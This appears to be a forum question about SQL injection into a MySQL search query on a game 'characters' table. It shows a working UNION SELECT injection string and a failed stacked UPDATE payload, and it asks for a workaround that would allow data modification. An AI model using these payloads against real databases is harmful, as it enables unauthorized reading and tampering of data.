is it possible to add a new query like update in between this?:
SELECT characters.id as charId
FROM characters
WHERE characters.name
LIKE '%<User-Input-Here>%'
ORDER BY `level` DESC, exp DESC
LIMIT 10
OFFSET 0
I found out that union is a vunerability here:
User Input: ' union select count(characters.id) FROM characters -- '
Result:
SELECT characters.id
FROM characters
WHERE characters.name
LIKE '%' union select count(characters.id) FROM characters -- '%'
ORDER BY `level` DESC, exp DESC
LIMIT 10
OFFSET 0
But my question now:
Is it somehow possible to add a complete new query?
I already tried something like:
'; UPDATE characters SET characters.name = 'foo' -- '
Which becomes following:
SELECT characters.id
FROM characters
WHERE characters.name
LIKE '%'; UPDATE characters SET characters.name = 'foo' -- '%'
ORDER BY `level` DESC, exp DESC
LIMIT 10
OFFSET 0
I recieve this error message:
check the manual that corresponds to your MySQL server version for the right
syntax to use near
'update characters set characters.name = 'foo' --
'%'\n\nORDER BY `level` DESC, exp' at line 15",
I have a feeling that semicolons dont work in this case. If so, why wouldn't they and is there a alternative/workaround?